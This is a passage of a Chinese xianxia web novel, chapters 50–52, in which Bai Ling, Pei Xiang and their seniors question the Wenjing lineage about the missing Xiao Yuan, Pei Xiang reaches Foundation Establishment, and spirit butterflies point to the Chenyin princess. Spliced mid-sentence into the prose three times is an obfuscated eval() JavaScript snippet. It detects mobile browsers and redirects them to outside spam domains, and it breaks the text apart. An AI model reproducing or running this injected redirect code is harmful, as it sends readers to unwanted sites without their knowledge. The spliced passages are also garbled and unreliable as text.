白翎眨了下眼,掩饰刹那的遗憾之色。他笑道:“真的假的,师兄想当道君吗?” 诸葛悟缓缓说:“此事由不得我。大选的明争暗斗,比在秘境之中,只多不少。我亦没有完胜的把握,届时要多多仰仗漱玉真人了。” 凭他的修为,不该说“仰仗”林暗。话外之意,自然是仰仗林暗背后的驾鹤道君。 林暗心下明了,郑重颔首。她看向几名小辈,最后叮嘱一番:“漪儿,我不在时,黑市更适合你们居住。我想留你们三个在此,看护徐郎和冯郎。” 田漪乖乖应声,问:“白仙长和裴师弟也留下么?” 白翎当然想去相思林探险,但不好意思拖师兄后腿,只能在心里祈祷。幸好,诸葛悟道:“他二人被重金悬赏,已经叨扰林道长许久。接下来,便由我带在身边罢。” 白翎心花怒放,硬是在众人面前憋住了,颇为严肃地点点头。 不过,他伸手环过裴响背后,悄悄地捏小师弟,向他传达自己的狂喜。 裴响眼睫一颤,转头看他。 白翎佯装无辜,甚至也看了裴响一眼,大大方方与其对视,同时手上用力,捏了又戳,故作关切道:“怎么了阿响?你也很想去参观相思林吧?” 裴响一声不吭地转了回去。因为他穿的道服箭袖轻衣,有什么动作都一览无余,不像两位真人一般宽袍广袖,所以裴响没法抓住白翎制止他。 少年人忍耐片刻,找准机会,用肘部夹住了白翎作乱的手。 白翎大为惊讶,但是手指被卡在裴响腰间,动弹不得。他不得不挠了裴响两把,没想到师弟的腰腹肌理结实,此时暗中使力,如铜墙铁壁一般,挠痒也奈何不了他。 林暗没发现二人的小动作,道:“如此甚好。不过,此间说到底是魔域,我不放心。绯衣真人,我愿以十枚塔印,请你照看我家小辈。刚好让你再休养一段时日,不知你意下如何?” “不要我去沉音剑冢带路?”尹真随意道,“问姓白的。他无所谓,我就都行。” 林暗看向白翎:“白师弟?” 白翎专注于和裴响在背后较劲,起初并未听到。直到把他俩幼稚行为尽收眼底的诸葛悟再次咳嗽提醒,两个人才同时卸力,倏地原地站好。 白翎心虚道:“啊?哦,你们安排嘛,我没关系的!什么时候出发?” 他如此积极地跟去解谜,除了看热闹的心思外,还因迟迟不曾突破的关窍。现在的他,已经没有大山压顶的受制感了,只是需要一个进境的契机。 机遇不是在家里等着就会上门的,白翎本身也闲不住,恨不能一日逛遍东西南北。之前跟着驾鹤一脉,他不便撒野,眼下由师兄带队,霎时间心如飞鹜。 此行只有展月一脉的师兄弟三人,以及林暗。林暗与小辈们作了最后的道别,留下充裕的银两和通讯玉牌。 几人走出房门,商定先去寻问镜一脉的弟子,打探萧缘的近况。 不料,白翎刚如此提议,剑匣里的魔剑便左冲右突起来。客房床上的徐景和冯丘二人也浑身抽搐,如同过电。 白翎忙叩了叩剑匣,道:“冷静!萧大哥,你不想我们去见你的师弟师妹?他们还不知你已经……这样了吗?” 剑匣里变得安静,似是肯定。 可是不问清此事的起因经过,如何解惑?白翎揣着剑匣商量:“我明白了,你有你的秘密。那我们不提你现在的情况,只是去打听你以前的事,总行了吧?” 剑匣中依然安静,田漪奔到门口,打手势示意徐景他俩没事了。 林暗松了口气,道:“既然如此,我们先拜访问镜一脉。不过飞宫辽阔,他们在何处下榻?” 白翎笑着说:“巧了。虽然我也不知道他们住哪,但我认识的人肯定知道——不对,不是认识的人,是一群妖精朋友。走走走,我们去问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294984|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问未来的修真界第一药房!” — 与魔修喜好的湖下山庄不同,道修聚集的客栈名为“扶摇小筑”。其从名字到外观,从主楼到客房,无不透露着凌然仙气。 若说湖下山庄昭示的是贵、非常贵,扶摇小筑彰显的便是雅、非常雅。 白翎抱着剑匣,穿过移植而来的竹林,一行人来到一座单独的客居院落。 与白翎同行的,不仅有师弟和两位真人,还有一串不足他膝盖高的小妖。“老君鼎”的老板和伙计们浩浩荡荡,跟在白翎前后,每只小妖手里皆端着药盒。 白翎去药房时非常凑巧,刚好碰上它们炼完了仙姑需要的仙丹。于是两路人马汇合,一齐来找问镜一脉。 院门前守着一名道童,正在打瞌睡。 “请问连珠真人在吗?”老板小妖今日有人撑腰,神气地挺着胸脯。 道童被吓醒了,奔进去通传。不多时,面相刻薄的仙姑带着她愣头愣脑的大侄子,出门道:“妖精果然是贱骨头,不骂两句不办事……林暗?你怎么……渡尘真人!” 白翎没想到,“连珠”是这位嘴巴很毒的仙姑的道号。可惜,她口中并无什么妙语,瞧见林暗便是一惊,认出诸葛悟更是一乍。 最后,连珠真人的目光落在白翎和裴响身上,大为诧异地问:“林暗你行事不端就算了,怎么渡尘真人也和魔修厮混?” 林暗皮笑肉不笑地说:“过誉了。连珠真人不妨再仔细看看?这二位是渡尘真人的师弟。” 连珠真人悚然道:“渡尘真人的师弟竟是魔修?!” 林暗:“……” 白翎说:“怎样啊。惊不惊喜,意不意外?” 为免连珠真人拔剑捅他,诸葛悟开口道:“在下的二位师弟遭到沉音魔尊悬赏,不得已乔装打扮,改换形容。他们是清正之身。” 仙姑恍然大悟,撤步放他们入内。 不过,她始终以狐疑的眼神上下打量林暗,嘴里止不住地咕哝:“黄鼠狼给鸡拜年,没安好心……什么时候跟展月一脉握手言和的?专门趁大师兄闭关来,莫不是要趁火打劫……” 林暗只当耳旁风,白翎跟在她后面进门,却忍不了,当即笑嘻嘻地说:“要不是你家大师兄出事,我们还不来呢。” 连珠真人不曾见过白翎,不过展月一脉有个著名的绣花枕头,道场人尽皆知。她立即对上了号,斥道:“休要乌鸦嘴!我家大师兄能有什么事?他从上千人手中夺得‘残念果’,眼下在静修养伤罢了。你懂什么!” “真的是因为养伤才闭关吗?确定不是因为前辈你太吵啦?” 白翎说完已从她跟前飘过,气得连珠真人上前两步,道:“你!你们到底是干嘛来的?!” 无人理会,仅有裴响毫无波澜地道了声“借过”。连小妖们也目不斜视,在白翎身后排成一溜,个个昂首阔步。 院中堂上,问镜一脉的小辈们都被喊出来见客了。他们和连珠真人姑侄俩一样,穿着相同纹饰的道服,胸前一轮银蓝色圆盘,代表问镜之“镜”。 两相入座,连珠真人竟没有坐主席,而是把那个位置空着,留给了大师兄萧缘。 白翎观察着她,见仙姑一派嚣张气焰,坐姿也大马金刀的,确实是不知师兄已经殒命兰林的模样。于是,按照在路上商量好的说辞,林暗取出黑市买的“照妖宝鉴”,置于席前。 她道:“无事不登三宝殿。连珠真人可还认得,此物是谁的法宝?” 50.五十、私奔 问镜问镜,此脉传人的法器多为镜子。 连珠真人虽不认得照妖宝鉴,可是也不敢妄下定论。据林暗称,她以前和萧缘切磋时,见萧缘祭出过此物。连珠真人立即将照妖宝鉴拿去,端在手中细细地看。 最终她得出结论:“不错,仙级的宝镜!除了我家大师兄,还有谁配得上用它?你怎么得来的?” 连珠真人看谁都横挑鼻子竖挑眼,居然是个唯师兄马首是瞻的人。 白翎如此腹诽,面上犹挂着纯良笑容,装乖扮傻。他和裴响同属小辈,按理说该和问镜一脉的小辈们一样,侍立在诸葛悟座后。 不过他俩是来做客的,所以被安排在了最末的长椅上。此时两人对视一眼,各自不动声色地转开。 诸葛悟接过话题,称是他从黑市淘得的宝鉴,恰好被林暗认出。因此,两人一同造访,希望能当面物归原主。 只是不曾料到,萧缘竟伤重到如此地步,无法亲自待客。 连珠真人提及此事,火气又起,瞪向送药的小妖们。她挨个夺走小妖们怀抱的药盒,骂骂咧咧: “还不是怪这帮作奸犯科的妖精?骗我们买下天价票折,却不能及时供货!师兄数日前便开始闭关,若它们早点把仙丹奉上,师兄早就出来了!” 老板小妖闻言辩解:“仙姑点名的几种丹药,药性一般,药材却紧俏得很。别说我们‘老君鼎’了,就是沉音魔尊的魔宫,也不一定能立刻拿出呀!当时劝您换别的仙丹,效用更好,还炼得快,您……” “大师兄列的单子自有他妙用,岂容尔等多嘴!” 连珠真人回头斥罢,摔门进了后院。众人在堂上看不见内里光景,不过想也知道,定是萧缘的“闭关养伤”之所。 白翎悄悄地侧向裴响,道:“你觉不觉得,萧缘是故意让他们去买稀奇丹药的?” 裴响:“嗯。” 白翎又道:“怕不是早就计划好了私奔,借此支开师弟师妹吧。说不定一开始的受伤都是骗局,他那时就想着去相思林比翼双飞了。” 裴响的耳廓被他气息拂过,渐渐染上薄红,但依然道:“嗯。” 白翎问:“阿响就不能和我交头接耳一番吗?一个人讲话好没意思。” 裴响:“……” 裴响略转过头,面无表情地看着师兄,似在谴责他做客还不老实。 白翎却一眼发现,裴响的两只耳朵一红一白。正当他抿出坏笑,准备再逗师弟两句时,后院突然爆发出一声咆哮。 连珠真人吼道:“大师兄呢?!我问你们大师兄呢!!!” 两个小道童的哭泣声传来,随后是翻箱倒柜、踢床踹桌的响动。显然,连珠真人终于发现萧缘失踪了。 来拜访的一行人全部站起,静候其变。不多时,怒发冲冠的仙姑奔回堂前,抖着两手道:“天杀的魔道妖女,定是她拐走了大师兄!” 她拽上侄子,手提仙剑,竟是一副要杀出门去的派头。诸葛悟人未动,双剑齐出,刹那交错于门前,拦住了姑侄两个。 他微微笑道:“且慢。请问‘魔道妖女’,是何许人也?” 连珠真人戛然止步,又惊又怒地回过身,却不敢对诸葛悟发作。 她意识到自己说漏了嘴,眼珠急转,道:“是……是一个小户散修罢了,上不得台面,引诱了我家师兄。师尊早已下令,让我们对师兄严防死守,没想到他用灵符留声,应付我等,实则……渡尘真人不是要当面交还法宝吗?我、我们现在便去寻师兄回来!” 连珠真人说罢要闯,然而“千恨”与“万怜”相击,锵然把她震退。 诸葛悟道:“看来萧道长受魔修蛊惑,已是弥足深陷了?” 连珠真人是金丹后期的修为,发现大师兄不知去向、她身后并无人托底,终于敛起了骄横的神情,灰溜溜站好。 她道:“渡尘真人明鉴,我家师兄不近女色,是……是被魔修强迫的……” 诸葛悟温声说:“众所周知,贵派大师兄的功法属无情道,若不杀妻,无从进境。他对此魔修女子,想必亦有所求。不是吗?” 连珠真人面色紫涨,挤出一句:“千错万错,尽是魔修之错!纵使我家大师兄要杀妻证道,他杀个魔修,又有何妨?” 诸葛悟不置可否,只是双剑轻分,似发出一声轻叹。 他伸手道:“请真人坐。” 众目睽睽之下,连珠真人不得不回到席上,鬓边沁出冷汗。 私通魔修,乃是重罪,整个派系都会遭到牵连。若是门风严苛的宗门,将干出此等丑事的弟子就地正法,亦不为过。 问镜一脉的小辈们面露惊慌,挤作了一排过冬的鹌鹑。想必他们对大师兄之事早有猜测,眼下快要落实了。 白翎将众人的反应看在眼里,早不在乎做客的体统了,直接倚着裴响,与他咬耳朵: “原来问镜一脉都知道啊?不过萧缘要真是大义凛然,打着除魔的幌子结侣,他们不会这样着急上火吧。啊,难道萧缘他……” 连珠真人在六神无主之下,不得不开口了。 在场诸人除她以外,无人落座,无形中威压重重,似在审问一般。 白翎立即停了嘴,等她发话。他一门心思听八卦,人还挂在师弟身上,也不记得挪窝。他俩站在最外层,裴响始终端着身为宾客的礼仪,自然不能推他,只得是垂下眼睫,斜斜地盯着白翎。 可白翎望着仙姑目不转睛,全然没有发觉。 他甚至一手从背后揽着裴响,另一只手搭在裴响肩头,是个与小师弟勾肩搭背、靠着大树好乘凉的看戏姿态。 裴响:“……” 裴响板着脸,“嗯”也不“嗯”了,神色微恼。 连珠真人干巴巴地道:“此事说来话长。” — 一炷香的时间后,连珠真人口干舌燥,本就极深的法令纹快要撇到下巴外了。 老板小妖偷偷摸摸地泡了茶,借机端到她手边。 连珠真人以为是小辈端的,接来就喝,然后一口喷了个惊天动地。她呛得涕泪横流,指着小妖说不出话,肇事者却已经抱头鼠窜,“滋溜”跑到了白翎脚边。 白翎忍笑道:“怎么能在这种时候给她喝雷劈蕃荷菜呢……” 连珠真人的侄子连忙为其拍背顺气,然而他身为力士,力大无穷,一巴掌差点送姑姑上西天。 幸好,连珠真人将事情讲得差不多了——若是删掉她对那名魔修女子层出不穷的唾骂,其实说来话短: 萧缘是个心善且无甚追求的人,本来无意证道,并不执着于进境。 孰料在两百年前,上一场道会中,他偶遇一位魔修女子,两人一见钟情。 万幸的是,问镜一脉的道君及时发现了这段正邪恋,并加以阻止。万幸中的不幸是,魔修女子跑了,眼下又卷土重来,跟萧缘里应外合。 连珠真人至今不知魔修女子的身份,只知大师兄夺得“残念果”后,重伤濒死之际,仍念叨“阿眠”二字,疑似彼女子小名。 白翎听至此处,想起梦中所见。萧缘拔剑刺向新娘时,的确沉声唤了一句: “放心,阿眠。只是一瞬。” 看来他得偿所愿,和心爱之人结侣了。但爱妻又怎会杀妻呢?还表现得那样自然而然,毫不迟疑。 连珠真人之后所言,更是偏颇,一半在痛惜大师兄走上不归路,一半在痛斥魔修女子坑害道修不得好死。 除此以外,还有贯穿全篇的自我开脱,希望师尊能明辨是非,不要怪她没看住师兄。萧缘为爱发癫,她已经仁至义尽了。 连珠真人呼哧直喘,却难得的没有追杀小妖,而是向诸葛悟道:“渡、渡尘真人,其实我家大师兄他,他只是一时糊涂!他真正的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304728|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意图肯定是一箭双雕,既要除掉魔修,又能证道,才去和那妖女虚与委蛇。万一昭雪司降罪,请渡尘真人千万要、要帮我们说点好话啊!” 诸葛悟莞尔道:“萧道长若是清白,自然无需在下多言。如真人所言非虚,我等夜游之际,亦可多加留意,看是否有缘会晤萧道长。” 道修们时常下山游历,在人界便称“云游”,在魔域则称“夜游”。 连珠真人听他有帮忙寻找萧缘的意思,连忙发誓:“我刚才要是有半句假话,天打五雷轰,问镜一脉全部暴毙!” 诸葛悟:“……” 问镜一脉的小辈们纷纷露出了便秘的表情。 白翎倒抽一口冷气,差点笑喷,连忙把脸往后转,脑袋抵在裴响肩头,整个人发抖。 他本来就半搂不搂地靠在裴响身上,此时贴得更紧了,令裴响一惊。 少年人的眼睛略显狭长,平日也不爱抬眼,过长的睫羽能掩去一半瞳仁。此刻,裴响却双目微睁,难得地露出了完整的眸子。他视线乱闪,生怕被谁发现他们二人的无状。 有什么东西轻轻地拉了他裤腿一下,倒茶小妖啃着手指头,向他们茫然又单纯地歪起脑袋。 裴响:“……” 裴响微露窘色,低声道:“不许看!” 倒茶小妖本就怕他,闻言瘪瘪嘴巴,似是要哭。幸好林暗说话了,问:“连珠真人刚才欲夺门而出,难道,你知那魔修女子何在?” 连珠真人说:“我要是知道,早去捣毁她老巢了!是我们师尊偃鸣道君,他也在黑市。大师兄不见了,我自然该去报信。” 偃鸣道君,正是叛出驾鹤一脉的那位。林暗不再多言,颔首告辞。 连珠真人急道:“你们不帮忙找人吗?” 林暗温柔地说:“你可以祈祷。” 一句话噎得连珠真人干瞪眼,又不能当面破口大骂。诸葛悟亦转身出门,不料迎面看见,两名师弟正连在一起。 他露出疑惑而不失风度的微笑:“嗯?” 裴响与他四目相对,脸色“唰”地白了。白翎慢半拍地察觉到视线,回头见是师兄,也闪电般跳开。 他很有礼貌地伸手示意:“师兄先请。” 裴响苍白着脸让到旁边,一语不发,不过双耳血红,垂着眼紧盯地面。 诸葛悟不解,但是不管,召回仙剑,率先走出门去。他一走过,裴响立即抬起眼睫,又羞又气地瞪着白翎。 白翎小声道:“怎么了嘛。” 林暗亦从他二人之间穿过,终于轮到他俩走了。白翎还想跟师弟讲小话,不过转头正对上连珠真人几欲喷火的脸,终是道:“呃……祝妙语真人早日找到你师兄。再见!” 连珠真人:“哈???” 白翎仔细一想,此话十分缺德,毕竟萧缘已经半只脚踏进地府了。他连忙一手捞起剑匣、一手扯上师弟,招呼小妖们快溜,火速冲出庭院。 四人在门外汇合,一直到扶摇小筑的侧厅,方才停住。 此处是供旅客们小憩的,屏风分隔了数张茶几与石凳,暂且无人。“老君鼎”的小妖们和白翎恋恋不舍地话了别,双方约定不日必将重逢。届时小妖们成为真正的药王,一定给白翎更大的优惠。 送走它们,白翎来到茶几旁坐下,拉动屏风遮挡。 他取出魔剑,迷离的兰花香须臾充盈了此间。林暗道:“白师弟有话想问?” “没错。我们不能只听连珠真人的嘛,现在该听听萧大哥的说法了。”白翎端正坐姿,面朝魔剑,笑眯眯地说,“萧大哥,你还能操纵本命剑吧?既然如此,‘是’的话安静即可,‘不是’的话,就和之前一样发颤。行吗?” 磨损严重的剑身一动不动,仿佛答应了他。 白翎合掌道:“很好,那么第一个问题——你是真心喜欢那个魔修的,对也不对?” 51.五十一、进境 白翎的想法很简单。 需要棒打的鸳鸯,自然是感情甚笃,小两口非要违抗世俗相恋的。 所以,他从此处入手,或许能理清萧缘的诉求,让他快点消了执念老实轮回去。 果不其然,魔剑纹丝未动,以示默认。 白翎忍不住吐槽:“那你还杀她……咳咳,换个问题。你道侣还活着吗?是她把你卖给徐景他们的,对吧。” 魔修女子自知被他的师门深痛恶觉,要找人帮萧缘报仇的话,只能找其他派系的道修。所以,她逃出相思林后,或许得知黑市开场、诸多道修云集飞宫,于是也带着剑混进蜃楼。 新娘假扮成兜售仙剑的行商,实则让剑中的萧缘认人。最终,萧缘认出了独自前往跳蚤市场的徐景。 眼下在茶几旁围坐的皆是聪明人,只消白翎提出此问,另三人皆是心念电转,猜出了前因后果。 林暗扶额叹道:“果然是我大意了,约束弟子不力,横生一段枝节。不过身在魔域,同为道修,若萧道长真有什么冤屈,我们亦没有作壁上观的道理。” 白翎继续问:“所以萧大哥要我们杀了兰花妖王?” 魔剑开始轻颤,表示否定。 白翎道:“那要我们赶在你同门之前,找到你道侣?免得她有危险?” 魔剑依然颤动不休。 白翎笑道:“除了这些,还有什么事要做啊!总不能让我们把你没办完的事情办完,去杀了她吧?” 魔剑安静片刻,突然刺向白翎! 刹那间,三柄仙剑同时出鞘,架在白翎身前。 诸葛悟的“千恨”、“万怜”自不必提,林暗也须臾拔动“衔烛”,挡住了魔剑的攻势。 白翎和裴响修为尚低,无法和手中剑意念合一。剑锋相击声过后,“拂钧”和“花谕”方才冲了出来,迟疑地停在半空。 但,萧缘寄身的“新阳”早就被兰花妖王啃得遍体嶙峋,是一柄烂铁了。它的剑身被崩碎一块,眼看要扎进白翎面颊,被裴响倏地伸手握住。 尖锐的碎片没入少年掌心,血流如注。 裴响稍一蹙眉,白翎立即抓住他的手腕查看伤势,没忍住冲萧缘道:“不回答就不回答,干嘛打人啊!” 他被鲜血的颜色刺痛,尤其是血流过裴响冷白的皮肤时,像是再度将他划开。白翎咬牙拉动师弟握拳的手,动作很慢,免得牵扯到伤口。 他摸出瑶池鼎,道:“南陵止血散,凝肌露,复骨丹。阿响你痛不……咦?” 香炉刚按照白翎的吩咐,吐出相应的灵药,白翎便愣住了。少顷,他见鬼似的往裴响掌心一抹,惊讶道:“你好了?!” 裴响亦微显迷惑,活动了一下手掌。血迹未干,但他的伤处确实是愈合了,连疤痕都没有留下。 诸葛悟见状笑道:“小裴莫不是踏入了筑基前期?修习《太上迢迢密文》者,入筑基后,愈伤速度非凡,算是为之后的苦修打下根基。” 林暗将剑还鞘,亦道:“恭喜裴师弟了。” 白翎仍抓着裴响的手,翻来覆去地看,说:“真的吗阿响……你确定没事?痛也不痛啦?” 裴响被他双手捧着不放,半晌才道:“没事了。而且,吸收了碎片。” “新阳”掉在茶几上,其迸出的碎片不见踪影。白翎稍稍按动裴响的伤处,里面也没有硬块。 白翎不由得奇道:“连金属都能吸收?阿响,你进境的时候没感觉吗?到底是什么时候进境的!我完全没发现。” 裴响凝眉道:“或许是上次,在瑶池鼎内休养期间……” 白翎说:“那么早!” 裴响道:“除此以外,没有再受伤。” 诸葛悟笑着说:“练气初登仙道,与筑基的界限确实不明显。我记得阿翎以前,是一觉醒来忽进筑基期的,对吧?” “对哦……不过两百多年前的事了,我完全不记得什么感觉……好吧根本没感觉,只是突然觉得走路更快!没想到进境了。”白翎把裴响受伤的手包在两掌中,道,“阿响你通灵脉进练气后期、也就一个月前的事情吧?现在已经筑基前期啦??” 林暗记性好,算道:“裴师弟通灵脉是十八天前,愈伤出鼎,则是三天前。如此看来,他仅用了半个月便离练气,入筑基,堪称神速。即便是诸葛道长你,当年也花了整整一个月吧。” 诸葛悟温声说:“小裴天生剑骨,又是师祖钦点入门,我倒觉得慢了。而且他还在练气后期时,便以命相搏,手刃金丹前期的修士。换来此等进展,是他应得的。” 他二人半是寒暄,半是嘉奖,皆含笑看向裴响。 不过,裴响薄唇微抿,眼睫低垂,目光正落在白翎身上。 白翎没把两位真人的话听进耳中,一直在师弟手上摸来摸去。他心有余悸,总觉得尖尖的东西扎进肉里,光想想就够让人龇牙了。 而且“新阳”烂成那样,保不齐生了铁锈。裴响吸收了它的碎片,万一得破伤风怎么办? 白翎轻拧眉头,用指尖挠过原本伤处。少顷,他转念一想:裴响都“吃”掉一条大姑河河主的触手了,还怕小小铁片吗? 他真是杞人忧天。应该相信修真界的医修水平啊! 白翎松了口气,捏诀凝水,擦洗裴响手上的血痕。 不料,他此时放松的吐气,落在旁人眼中,却是一阵叹息。 裴响冷不丁唤道:“师兄。” “啊?”白翎才擦到一半,意外道,“喊我?” 黑衣少年定定地望着他,说:“修行速度并不能决定一个人的道行。” 白翎没懂他意思,一时茫然,以为自己刚才听漏了什么,看了两位真人一眼,并未答言。 裴响却把手抽回去,显然要白翎认真听他说话,继续道:“有些人得以善始,却不能坚持善终。有些人厚积薄发,后来者居上。二者并没有高下之分。” “说得对。但是?”白翎甩了甩水,茫然更甚,“说这个干嘛。”还是师弟几百年未必说一次的长句。 裴响沉默良久,道:“没什么。” 白翎又向诸葛悟和林暗投去疑惑的视线,可是两位真人皆表示爱莫能助。 林暗端出了茶喝,优雅地观赏远处;诸葛悟则把“新阳”收进剑匣,动作不紧不慢。 白翎只好歪起脑袋,一边观察师弟的脸色,敌不动我不动,一边悄悄把他垂在身侧的手拉回来,抹掉最后几滴血水。 白翎松手时,裴响却忽然反手攥住了他的手腕。少年人的目光仿佛薄冰,莫名透出了一分执拗,直直地映入白翎眼底。 白翎:“……阿响?” 两人靠得并不近,裴响也只是握住他手而已。但,白翎的心脏跳得越来越快,几乎要顶不住师弟的注视了。 那厢,林暗向诸葛悟道:“你不在时,两位师弟时常如此。” 诸葛悟面色不变,保持着微笑说:“同门间偶有龃龉,须给他们些时间。辛苦林真人了。” 似被对话声惊扰,裴响蓦地放开白翎,垂下了眼。 白翎却是抓耳挠腮,很想知道师弟的想法。他看得出来,裴响心里藏了事,偏偏这小子心思深,有话不肯亮出来讲,非要压心底埋着。 白翎道:“别管他们。阿响,你是不是想问什么?” 裴响抿唇良久,终于道:“我进境了。你……感觉如何。” “当然觉得你很厉害啊!”白翎一愣,倏地明白过来——原来是自己纠结破伤风的时候,没有第一时间表扬师弟,惹人误会了。他立即道,“阿响半个月从练气到筑基,除了师祖,还有谁能比你厉害?展月老祖,也不过如此吧!!!” “咳咳咳——”诸葛悟骤然咳嗽。 林暗掏出另一杯茶给他,一副过来人的姿态,柔声道:“没事,喝点。别把三代第一人呛死了。” 裴响却怔怔地望着白翎,面色似雨后晴天,眼底都微微发亮。 他追问道:“那我通灵脉之后,你也什么都没有说……” “因为尹兄刚告诉我你的功法很危险啊!会要命啊!!我怕你练死了啊!!!”白翎恍然大悟,不敢置信地反问,“阿响——难道在你眼中,我一直是个自己修为稀烂、还嫉妒晚辈天资的人?!啊???” 裴响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14314839|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少见地眼神躲闪,眨了下眼。 白翎恨不能扑上去啃他,幸好裴响下一刻便道:“没有!我没有这样想过你。只是……” 白翎:“只是什么??” 裴响紧咬下唇,不肯讲出来。他转开头,准备起身,却被白翎一把摁回原处。 白翎冷笑道:“不讲清楚别想走!” 剑匣里传出“笃笃笃”的叩击声,萧缘在抗议。白翎一脚把这位前辈踢地上了,一眼不错地盯着师弟。 他重复了一遍:“只是什么?” “只是两位真人交口称赞,你却叹息。我不得不想……” 裴响又攥上了白翎的手腕,两人角力。白翎被他气笑了,哼道:“怎么,不得不想我是个修为稀烂还嫉妒晚辈的无耻小人?” “不。”裴响无法对他真正使力,但白翎堵在身前,全然不给他逃避机会。 突然,白翎被往前一扯,险些扑在师弟怀中。他来不及挣扎,便感到吐息吹在耳畔,师弟一字一顿地说: “我以为你失落。” 他说罢就泄了气,又将白翎推开,脸也转向一边。似丹青在宣纸上渲染,一抹薄红顷刻攀上了裴响的耳廓,沿着他被逼问到苍白的脸,飞快地漫上面颊。 白翎双眼圆睁,完全说不出话。 他道:“啊?我……啊??什么……” 白翎霍然起立,差点蹬翻石凳。 林暗将一切尽收眼里,悠然道:“诸葛道长所言甚是。如此紧要的误会,确实要给些时间解开。” 诸葛悟亦略显感慨,说:“师弟们冰释前嫌,情同手足,我算是彻底放心了。” 林暗:“情同……手足?” 女修露出匪夷所思之色,欲言又止,终是什么也没说。他们的对话压着声音,另一边的两人各有满腹思绪,都没注意。 半晌之后,白翎的脸上依旧一片空白——他终于回过味来,在给师弟擦手时,裴响那几句莫名其妙的话。 什么后来者居上、二者没有高下之分之类的,原来都是在安慰他啊! 白翎少有地感到无措,手脚都不知该往哪里放。一直冷冰冰、清冽冽的师弟,居然在体贴他? 放在以前,白翎有得是办法对付裴响。面对这样喜欢闹别扭的家伙,撒娇不成就示弱、示弱不成则用强,明明套路都烂熟于胸,但不知为何,白翎呆呆地杵在原地,许久之后,退后半步,不小心又踢到了剑匣。 白翎如梦方醒,连忙把剑匣拿起来,胡乱说道:“光阴似箭,日月如梭!机不可失,失不再来!我们该办正事去了!!!” 两名真人神色各异,一同站起。 诸葛悟温和地拊掌,似对两位师弟非常满意,面露欣慰。林暗则看看白翎裴响,轻叹一声,再看看诸葛悟,对上他无懈可击的微笑,表情有些一言难尽。 白翎见裴响仍坐着不动,终是心生怜爱。师弟一直面皮薄,现在肯定想找条地缝钻进去,说不定等晚上睡了,还会羞耻到偷偷流眼泪。 白翎没忍住手欠,捏了捏裴响的耳朵,笑眯眯地说:“好啦阿响,我明白你的意思了。我们走吧?” 没想到,裴响头回没有抗拒。他偏过脸,犹豫了一瞬过后,轻轻地靠在白翎掌心。 少年低声问道:“所以,师兄也真心为我高兴么?” 白翎手上动作停住,一时间忘了回答。 而裴响垂着睫羽,面色平静。如一卷沉敛的画,只是把自己放在了他的手中。极短暂的一瞬后,裴响便站起身来,在掩饰什么似的,转向其他人道:“我们耽误了萧缘前辈的行程,抱歉。” 白翎:“啊……” 刚才的刹那,好像有一只投喂了很久的野猫,忽然来蹭了他裤腿一下,然后矜持地转身离开,只是尾巴仍高高竖着。 林暗端出了同样无懈可击的微笑,道:“情同手足。不错,不错……确实是情同手足啊。” 她捏诀化出灵蝶,强行把古怪的气氛扭回了正途,说:“剑匣由萧道长的道侣经手,必然留有她的气息。既如此,且让灵蝶追踪试试。说不定,能直接将我们引到相思林去。” 52.五十二、剑冢 萧缘被踢到地上都没什么反应,听见林暗回归正题,才弱弱地戳了一下剑匣,似在表示感谢。 白翎对他犹有不满,道:“萧大哥刚才不厚道啊。讲得好好的,怎么突然动手呢?” 诸葛悟说:“冤魂本就心绪不宁。阿翎提及他道侣的性命,萧道长难免激愤。” 白翎不以为然,并不觉得自己问错了。 或许,是他的问题既不能答“是”,也不能答“否”,“新阳”刺向他,代表着第三种回答。 林暗驱使灵蝶,感应剑匣上残留的魔气。出乎意料的是,灵蝶们感应完后,在屏风内乱飞,全无要引路的迹象。 林暗疑惑道:“这是……” 诸葛悟若有所思,退开数步。其余人也像他一般,拉出距离,霎时间,灵蝶围绕的中心一览无余—— 竟然是白翎。 白翎:“嘢???” 他奇怪地举起剑匣,以为灵蝶们没感应够。但是灵蝶们不仅没有飞走,还落在他身上,为白翎披了满身金灿灿的幻光蝶影。 他一袭白衣,灵药染就的头发褪色了,变成过于柔和的浅棕。金色的蝴蝶集中在白翎上半身,有些钻到了垂纱下,有些停在幕篱的帽檐上,似点缀着璀璨珠玉,透光琉璃。 裴响看向他的头顶,道:“你的钗子?” 白翎一愣,立即把发钗拔下。灵蝶们交错起舞,围着他飞旋。 白翎惊讶道:“店家说这是……沉音公主戴过的珠钗!” 难道老板不是在吹嘘噱头?珠钗确实经过了公主之手? 不,这不是重点——关键是根据灵蝶的指向,卖出剑匣的魔修、也就是和萧缘私奔结侣的人,竟然是沉音公主! 